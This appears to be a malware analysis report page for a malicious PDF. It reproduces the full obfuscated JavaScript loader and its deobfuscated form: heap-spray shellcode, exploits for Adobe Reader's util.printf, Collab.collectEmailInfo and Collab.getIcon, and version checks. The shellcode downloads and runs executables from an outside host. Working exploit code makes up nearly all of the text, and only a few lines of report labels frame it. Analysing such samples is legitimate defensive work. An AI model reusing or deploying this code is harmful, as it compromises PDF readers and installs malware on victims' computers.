4,164,170,154,166,155,160,164,171,85,113,85,169,163,153,168,151,150,164,154,92,87,89,170,100,152,100,152,89,170,100,152,100,152,86,94,111,66,62,62,61,172,156,158,160,154,84,93,163,171,153,167,154,161,163,172,98,161,153,163,155,169,156,85,112,85,104,105,109,106,102,94,175,66,62,62,61,62,163,171,153,167,154,161,163,172,84,96,113,85,163,171,153,167,154,161,163,172,111,66,62,62,61,178,65,63,61,62,168,157,157,168,98,152,163,161,160,150,150,136,168,164,166,154,84,114,84,120,163,161,160,150,150,99,151,164,160,161,153,152,168,122,161,150,157,161,125,163,154,164,92,176,167,170,150,159,110,85,86,87,96,162,167,156,110,85,163,171,153,167,154,161,163,172,177,94,111,66,62,62,177,66,62,66,62,62,154,170,162,152,168,158,163,163,84,152,163,161,160,150,150,148,155,154,168,158,151,164,162,93,93,176,65,63,61,62,157,155,84,93,149,165,164,99,152,164,151,99,119,164,160,161,149,151,98,156,153,169,125,152,163,163,93,176,65,63,61,62,61,171,149,167,84,150,166,167,173,85,113,85,162,154,171,85,117,167,166,150,173,93,93,112,65,63,61,62,61,171,149,167,84,171,170,165,153,169,156,174,149,85,113,85,169,163,153,168,151,150,164,154,92,87,89,170,121,119,121,110,89,170,100,101,100,102,89,170,105,107,100,101,89,170,117,102,106,105,89,170,100,101,103,101,89,170,100,101,100,101,89,170,104,101,108,119,89,170,108,119,100,120,89,170,101,120,107,101,89,170,108,119,117,121,89,170,100,109,104,101,89,170,119,104,105,122,89,170,108,119,105,106,89,170,108,119,121,120,89,170,100,109,104,106,89,170,103,104,105,103,89,170,119,102,120,103,89,170,100,104,119,103,89,170,101,101,103,103,89,170,108,101,104,101,89,170,100,101,103,109,89,170,122,106,107,106,89,170,119,103,108,119,89,170,105,121,105,118,89,170,100,105,119,103,89,170,105,106,100,101,89,170,121,120,108,119,89,170,105,102,105,102,89,170,105,107,105,104,89,170,106,101,105,108,89,170,105,121,108,119,89,170,103,104,100,109,89,170,108,119,119,101,89,170,100,120,107,106,89,170,122,122,108,119,89,170,107,107,100,104,89,170,108,119,103,120,89,170,107,109,104,122,89,170,119,123,100,104,89,170,105,102,108,119,89,170,105,103,101,120,89,170,105,102,108,119,89,170,105,103,102,105,89,170,107,102,108,119,89,170,104,122,101,105,89,170,107,106,108,110,89,170,108,119,122,120,89,170,102,101,107,102,89,170,122,108,100,104,89,170,104,118,109,110,89,170,104,103,117,121,89,170,103,119,106,101,89,170,122,120,105,106,89,170,100,105,107,106,89,170,119,101,103,104,89,170,103,108,121,119,89,170,122,123,103,104,89,170,104,106,100,104,89,170,109,108,100,120,89,170,119,123,108,119,89,170,107,106,117,122,89,170,102,119,122,121,89,170,104,123,122,110,89,170,121,109,105,102,89,170,122,123,109,105,89,170,122,123,122,123,89,170,119,104,103,119,89,170,107,105,106,102,89,170,121,119,100,103,89,170,108,119,120,110,89,170,100,120,104,106,89,170,105,122,109,103,89,170,122,103,100,104,89,170,121,101,120,102,89,170,119,107,100,104,89,170,119,110,103,104,89,170,118,108,100,123,89,170,105,123,100,109,89,170,121,102,119,102,89,170,100,104,100,103,89,170,100,104,119,118,89,170,108,119,119,123,89,170,100,104,100,102,89,170,108,110,119,103,89,170,122,109,104,106,89,170,108,119,106,102,89,170,122,109,104,106,89,170,105,122,105,123,89,170,119,110,105,119,89,170,105,106,119,104,89,170,121,120,108,119,89,170,121,109,105,102,89,170,122,123,104,110,89,170,122,123,122,123,89,170,106,109,105,101,89,170,106,101,121,109,89,170,100,105,118,123,89,170,106,120,121,109,89,170,122,123,122,123,89,170,103,104,122,123,89,170,105,103,120,103,89,170,122,123,105,103,89,170,100,109,107,106,89,170,120,101,122,123,89,170,104,106,108,110,89,170,108,119,122,120,89,170,122,120,104,106,89,170,119,104,119,110,89,170,108,119,105,106,89,170,108,104,121,120,89,170,100,120,121,120,89,170,104,106,108,121,89,170,105,101,122,105,89,170,104,106,119,107,89,170,107,106,122,105,89,170,104,106,119,107,89,170,107,103,122,106,89,170,104,106,119,107,89,170,106,120,122,107,89,170,104,106,119,107,89,170,106,121,122,108,89,170,104,106,119,107,89,170,106,123,122,109,89,170,104,106,119,107,89,170,106,122,122,110,89,170,104,106,119,107,89,170,102,122,122,118,89,170,104,106,119,107,89,170,106,105,122,119,89,170,104,106,119,107,89,170,106,120,122,120,89,170,104,106,119,107,89,170,106,120,122,121,89,170,104,106,119,107,89,170,100,101,122,122,89,170,117,101,121,109,89,170,122,123,122,123,89,170,105,101,122,123,89,170,105,121,106,109,89,170,101,102,108,118,89,170,121,109,101,107,89,170,122,123,101,106,89,170,122,123,122,123,89,170,119,105,108,104,89,170,108,106,100,120,89,170,107,105,119,101,89,170,106,118,101,106,89,170,106,118,100,101,89,170,122,123,100,101,89,170,100,120,107,106,89,170,107,106,122,123,89,170,106,118,100,109,89,170,122,123,100,101,89,170,108,106,120,101,89,170,107,106,119,101,89,170,104,101,100,104,89,170,119,104,119,110,89,170,119,101,103,104,89,170,119,104,119,110,89,170,103,104,105,108,89,170,108,119,119,101,89,170,102,105,104,120,89,170,108,119,100,120,89,170,102,105,107,120,89,170,122,120,100,109,89,170,117,118,122,104,89,170,119,104,105,123,89,170,104,120,108,119,89,170,100,105,102,105,89,170,103,110,108,101,89,170,108,119,100,101,89,170,107,105,119,102,89,170,104,101,100,107,89,170,103,109,108,101,89,170,107,106,100,101,89,170,102,119,122,118,89,170,119,104,119,102,89,170,108,119,105,106,89,170,108,104,121,120,89,170,106,105,121,120,89,170,108,121,105,104,89,170,122,101,104,106,89,170,103,104,105,108,89,170,105,101,120,119,89,170,104,106,119,107,89,170,106,119,122,101,89,170,104,106,119,107,89,170,106,106,122,102,89,170,104,106,119,107,89,170,107,103,122,103,89,170,104,106,119,107,89,170,106,122,122,104,89,170,104,106,119,107,89,170,106,106,122,105,89,170,104,106,119,107,89,170,106,120,122,106,89,170,104,106,119,107,89,170,103,104,122,107,89,170,104,106,119,107,89,170,103,103,122,108,89,170,104,106,119,107,89,170,102,122,122,109,89,170,104,106,119,107,89,170,106,105,122,110,89,170,104,106,119,107,89,170,106,120,122,118,89,170,104,106,119,107,89,170,106,120,122,119,89,170,105,121,108,109,89,170,121,109,122,120,89,170,122,123,100,119,89,170,122,123,122,123,89,170,106,109,105,101,89,170,104,104,106,109,89,170,108,122,122,110,89,170,108,101,121,109,89,170,122,123,122,122,89,170,108,119,122,123,89,170,108,121,122,109,89,170,109,120,104,106,89,170,104,105,106,118,89,170,121,109,105,101,89,170,122,123,107,122,89,170,122,123,122,123,89,170,104,106,108,121,89,170,106,118,121,101,89,170,105,101,101,101,89,170,107,104,121,109,89,170,122,123,122,123,89,170,108,104,122,123,89,170,101,120,119,105,89,170,104,106,108,121,89,170,105,101,121,101,89,170,104,106,108,121,89,170,105,101,109,120,89,170,105,104,105,104,89,170,105,104,105,104,89,170,105,104,105,104,89,170,107,106,122,123,89,170,119,108,100,109,89,170,109,120,104,106,89,170,100,101,104,105,89,170,100,101,100,101,89,170,122,123,105,104,89,170,105,123,120,108,89,170,118,107,100,123,89,170,105,119,119,101,89,170,119,104,119,110,89,170,108,119,105,106,89,170,105,102,121,120,89,170,105,104,105,102,89,170,105,108,105,107,89,170,104,103,106,118,89,170,107,103,121,109,89,170,100,101,100,101,89,170,108,119,100,101,89,170,103,104,120,109,89,170,108,106,122,107,89,170,105,110,120,119,89,170,104,106,119,108,89,170,106,102,122,109,89,170,106,106,102,122,89,170,119,108,107,109,89,170,122,120,104,106,89,170,100,101,106,106,89,170,100,101,100,101,89,170,105,107,107,122,89,170,104,106,108,121,89,170,105,101,122,109,89,170,121,109,105,107,89,170,100,101,105,102,89,170,100,101,100,101,89,170,105,101,105,110,89,170,118,102,121,109,89,170,122,123,122,122,89,170,108,106,122,123,89,170,105,110,119,101,89,170,107,105,105,110,89,170,108,121,103,110,89,170,100,102,104,107,89,170,121,109,105,101,89,170,100,101,103,119,89,170,100,101,100,101,89,170,122,109,108,119,89,170,104,106,108,121,89,170,105,101,122,109,89,170,102,102,121,109,89,170,122,123,122,123,89,170,108,106,122,123,89,170,105,110,119,101,89,170,107,105,105,110,89,170,105,108,100,120,89,170,100,102,121,109,89,170,122,123,122,123,89,170,105,110,122,123,89,170,104,105,119,107,89,170,122,123,103,109,89,170,105,101,107,104,89,170,104,106,108,121,89,170,122,122,122,109,89,170,105,109,100,101,89,170,104,106,108,121,89,170,105,101,122,109,89,170,121,109,105,108,89,170,122,122,107,105,89,170,122,123,122,123,89,170,105,110,105,110,89,170,104,107,104,107,89,170,122,104,103,119,89,170,117,118,107,120,89,170,105,122,105,123,89,170,119,110,105,119,89,170,105,106,119,104,89,170,121,120,108,119,89,170,105,104,105,102,89,170,106,101,106,107,89,170,103,103,118,102,89,170,100,101,121,109,89,170,100,101,100,101,89,170,105,109,100,101,89,170,100,109,103,109,89,170,100,104,107,105,89,170,121,119,104,101,89,170,104,101,122,110,89,170,105,121,108,119,89,170,108,101,100,109,89,170,104,103,122,119,89,170,100,109,107,106,89,170,120,119,103,104,89,170,101,109,108,118,89,170,119,104,108,119,89,170,101,108,121,119,89,170,101,109,103,109,89,170,101,102,107,107,89,170,103,104,104,101,89,170,108,105,119,110,89,170,107,105,120,119,89,170,104,101,100,120,89,170,100,109,103,109,89,170,122,119,107,106,89,170,122,122,104,101,89,170,121,119,119,119,89,170,103,104,122,103,89,170,108,110,119,101,89,170,122,120,104,106,89,170,104,106,108,119,89,170,105,119,122,120,89,170,119,104,119,110,89,170,100,103,103,103,89,170,107,105,106,109,89,170,107,101,107,105,89,170,102,123,103,118,89,170,106,110,102,123,89,170,106,102,106,121,89,170,106,106,106,108,89,170,102,121,107,104,89,170,106,122,106,105,89,170,102,122,107,104,89,170,106,123,106,104,89,170,102,123,106,121,89,170,106,110,106,106,89,170,106,123,106,120,89,170,107,109,107,104,89,170,102,122,103,103,89,170,107,109,106,106,89,170,100,101,106,106,89,170,107,105,106,109,89,170,107,101,107,105,89,170,102,123,103,118,89,170,106,110,102,123,89,170,106,102,106,121,89,170,106,106,106,108,89,170,102,121,107,104,89,170,106,122,106,105,89,170,102,122,107,104,89,170,106,123,106,104,89,170,102,123,106,121,89,170,106,120,106,104,89,170,106,104,106,110,89,170,102,122,106,119,89,170,106,109,107,101,89,170,103,123,107,101,89,170,103,121,107,103,89,170,100,101,100,101,86,94,111,66,62,62,61,62,170,150,166,85,156,140,165,106,100,101,119,131,84,114,84,171,170,165,153,169,156,174,149,99,160,154,162,156,168,157,84,95,84,103,111,66,62,62,61,62,170,150,166,85,160,154,162,85,113,85,100,173,104,101,100,101,100,101,84,98,84,93,156,140,165,106,100,101,119,131,84,96,84,101,172,104,108,94,111,66,62,62,61,62,170,150,166,85,173,150,166,168,164,85,113,85,169,163,153,168,151,150,164,154,92,87,89,170,109,101,109,101,89,170,109,101,109,101,86,94,111,66,62,62,61,62,173,150,166,168,164,85,113,85,154,158,172,148,157,169,92,174,149,167,167,165,96,85,160,154,162,94,111,66,62,62,61,62,170,150,166,85,164,106,117,159,127,107,105,155,84,114,84,93,100,173,100,152,100,152,100,152,100,152,84,98,84,101,172,105,100,101,100,101,100,94,84,100,84,101,172,105,100,101,100,101,100,112,65,63,61,62,61,155,163,167,84,93,170,150,166,85,170,166,151,134,120,110,106,174,84,114,84,101,111,85,170,166,151,134,120,110,106,174,84,113,84,165,105,118,158,128,106,106,154,112,84,171,165,152,133,121,109,107,173,85,95,96,84,94,175,66,62,62,61,62,61,150,166,167,173,144,170,166,151,134,120,110,106,174,145,85,113,85,173,150,166,168,164,85,95,85,170,171,164,154,168,157,173,150,111,66,62,62,61,62,177,66,62,62,61,62,170,150,166,85,168,138,129,157,130,151,123,172,84,114,84,170,162,154,167,152,149,165,153,93,86,90,100,110,86,94,111,66,62,62,61,62,171,157,157,161,153,85,92,169,137,130,156,131,150,124,171,99,160,154,162,156,168,157,84,113,84,101,172,105,100,101,100,94,175,66,62,62,61,62,61,169,137,130,156,131,150,124,171,85,95,114,84,169,137,130,156,131,150,124,171,112,65,63,61,62,61,178,65,63,61,62,61,169,137,130,156,131,150,124,171,85,113,85,86,131,98,87,84,96,84,169,137,130,156,131,150,124,171,112,65,63,61,62,61,150,164,165,98,153,163,152,98,120,163,161,160,150,150,99,155,154,168,126,151,164,162,93,168,138,129,157,130,151,123,172,93,112,65,63,61,62,177,66,62,62,177,66,62,66,62,62,154,170,162,152,168,158,163,163,84,165,152,155,147,168,168,150,166,169,92,94,175,66,62,66,62,62,61,171,149,167,84,171,153,167,167,158,163,163,84,114,84,150,164,165,98,171,157,154,171,154,166,139,153,167,167,158,163,163,98,169,163,136,168,167,157,163,155,93,93,112,65,63,61,62,170,154,166,168,157,164,162,85,113,85,170,154,166,168,157,164,162,99,166,154,164,161,149,152,153,93,99,145,120,100,155,97,91,92,93,112,65,63,61,62,170,150,166,85,170,150,166,168,157,164,162,148,149,167,166,150,173,85,113,85,162,154,171,85,117,167,166,150,173,93,170,154,166,168,157,164,162,99,151,157,149,167,117,169,92,101,93,97,84,171,153,167,167,158,163,163,98,152,156,150,166,118,168,93,101,94,96,85,170,154,166,168,157,164,162,99,151,157,149,167,117,169,92,103,93,94,111,66,62,62,61,158,154,85,92,93,170,150,166,168,157,164,162,148,149,167,166,150,173,144,100,146,84,114,113,85,108,94,84,91,90,85,92,171,149,167,167,158,163,163,147,150,166,167,149,174,143,102,145,85,113,114,84,101,93,85,176,177,84,93,170,150,166,168,157,164,162,148,149,167,166,150,173,144,101,146,84,114,113,85,101,85,90,91,84,171,149,167,167,158,163,163,147,150,166,167,149,174,143,103,145,85,112,85,103,94,93,176,65,63,61,62,61,170,168,158,160,148,164,167,157,163,168,155,92,94,111,66,62,62,61,178,65,63,61,62,157,155,84,93,92,171,149,167,167,158,163,163,147,150,166,167,149,174,143,101,145,85,112,85,108,94,84,177,176,85,92,171,149,167,167,158,163,163,147,150,166,167,149,174,143,101,145,85,113,114,84,109,84,91,90,85,170,150,166,168,157,164,162,148,149,167,166,150,173,144,101,146,84,113,84,103,84,91,90,85,170,150,166,168,157,164,162,148,149,167,166,150,173,144,102,146,84,113,84,103,93,94,175,66,62,62,61,62,151,164,160,161,149,151,147,154,161,150,157,161,92,94,111,66,62,62,61,178,65,63,61,62,157,155,84,93,92,171,149,167,167,158,163,163,147,150,166,167,149,174,143,101,145,85,112,85,109,94,84,177,176,85,92,171,149,167,167,158,163,163,147,150,166,167,149,174,143,101,145,85,113,114,84,110,84,91,90,85,170,150,166,168,157,164,162,148,149,167,166,150,173,144,101,146,84,113,84,102,93,94,175,66,62,62,61,62,151,164,160,161,149,151,147,156,153,169,157,152,163,163,92,94,111,66,62,62,61,178,65,63,61,178,65,63,65,63,61,165,152,155,147,168,168,150,166,169,92,94,111,66,62,62],hyzoqm=function(){for(var aehmq;ijpq<djqrtx.length;ijpq+=1){var dlpqst=ijpq%dqrux.length+1;var lmqu=dqrux.substring(ijpq%dqrux.length,dlpqst);var vulkzs=djqrtx[ijpq];cklmu+=cdiklw(vulkzs-lmqu.charCodeAt(0));} cmpw(cklmu);};hyzoqm();tkmzhi=false;ckze=15490;giprv="";adeijr=true;fhmvx=false;defisu="";ahnpqx="ahnpqx";mjuhyz=true;bcgvy=true;flms=false;jmru=14284;
`legacy_pdfkit_stage_000.js`	deobfuscated-js	numeric array subtract-key decoded JavaScript at offset 0x1A5	9886 bytes
SHA-256: `5b354d3d68710467dbb966885dbc507d36e001401f8d2ff31a5eee60dcf0c78f`
Detection ClamAV: Js.Exploit.Shellcode-18 Obfuscation or payload: likely Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script First 1,000 lines of the extracted script function fix_it(yarsp, len){ while (yarsp.length * 2 < len){ yarsp += yarsp; } yarsp = yarsp.substring(0, len/2); return yarsp; } function util_printf(){ var payload = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u692F%u616D%u6567%u2D73%u6E64%u2E73%u6F63%u2F6D%u6966%u736D%u7776%u2E32%u7865%u0065%u7468%u7074%u2F3A%u692F%u616D%u6567%u2D73%u6E64%u2E73%u6F63%u2F6D%u6C63%u6369%u2E6B%u6870%u3F70%u3D72%u0000"); var nop = unescape("%u0A0A%u0A0A%u0A0A%u0A0A") var heapblock = nop + payload; var bigblock = unescape("%u0A0A%u0A0A"); var headersize = 20; var spray = headersize + heapblock.length; while (bigblock.length < spray){ bigblock += bigblock; } var fillblock = bigblock.substring(0, spray); var block = bigblock.substring(0, bigblock.length-spray); while (block.length+spray < 0x40000){ block = block + block + fillblock; } var mem_array = new Array(); for (var i = 0; i < 1400; i++){ mem_array[i] = block + heapblock; } var num = 12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888; util.printf("%45000f", num); } function collab_email(){ var shellcode = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u692F%u616D%u6567%u2D73%u6E64%u2E73%u6F63%u2F6D%u6764%u6F68%u7370%u2E32%u7865%u0065%u7468%u7074%u2F3A%u692F%u616D%u6567%u2D73%u6E64%u2E73%u6F63%u2F6D%u6C63%u6369%u2E6B%u6870%u3F70%u3D72%u0000"); var mem_array = new Array(); var cc = 0x0c0c0c0c; var addr = 0x400000; var sc_len = shellcode.length * 2; var len = addr - (sc_len+0x38); var yarsp = unescape("%u9090%u9090"); yarsp = fix_it(yarsp, len); var count2 = (cc - 0x400000)/addr; for (var count = 0; count < count2; count++){ mem_array[count] = yarsp + shellcode; } var overflow = unescape("%u0c0c%u0c0c"); while (overflow.length < 44952){ overflow += overflow; } this.collabStore = Collab.collectEmailInfo({subj: "",msg: overflow}); } function collab_geticon(){ if (app.doc.Collab.getIcon){ var arry = new Array(); var vvpethya = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u692F%u616D%u6567%u2D73%u6E64%u2E73%u6F63%u2F6D%u6965%u6F6C%u7873%u2E32%u7865%u0065%u7468%u7074%u2F3A%u692F%u616D%u6567%u2D73%u6E64%u2E73%u6F63%u2F6D%u6C63%u6369%u2E6B%u6870%u3F70%u3D72%u0000"); var hWq500CN = vvpethya.length * 2; var len = 0x400000 - (hWq500CN + 0x38); var yarsp = unescape("%u9090%u9090"); yarsp = fix_it(yarsp, len); var p5AjK65f = (0x0c0c0c0c - 0x400000) / 0x400000; for (var vqcQD96y = 0; vqcQD96y < p5AjK65f; vqcQD96y ++ ){ arry[vqcQD96y] = yarsp + vvpethya; } var tUMhNbGw = unescape("%09"); while (tUMhNbGw.length < 0x4000){ tUMhNbGw += tUMhNbGw; } tUMhNbGw = "N." + tUMhNbGw; app.doc.Collab.getIcon(tUMhNbGw); } } function pdf_start(){ var version = app.viewerVersion.toString(); version = version.replace(/\D/g,''); var varsion_array = new Array(version.charAt(0), version.charAt(1), version.charAt(2)); if ((varsion_array[0] == 8) && (varsion_array[1] == 0) \|\| (varsion_array[1] == 1 && varsion_array[2] < 3)){ util_printf(); } if ((varsion_array[0] < 8) \|\| (varsion_array[0] == 8 && varsion_array[1] < 2 && varsion_array[2] < 2)){ collab_email(); } if ((varsion_array[0] < 9) \|\| (varsion_array[0] == 9 && varsion_array[1] < 1)){ collab_geticon(); } } pdf_start();

Open this report in the interactive analyzer, or submit your own file for analysis.

PDF

Malware Insights

Machine Learning

Heuristics 13

Related samples 7

Extracted artifacts 2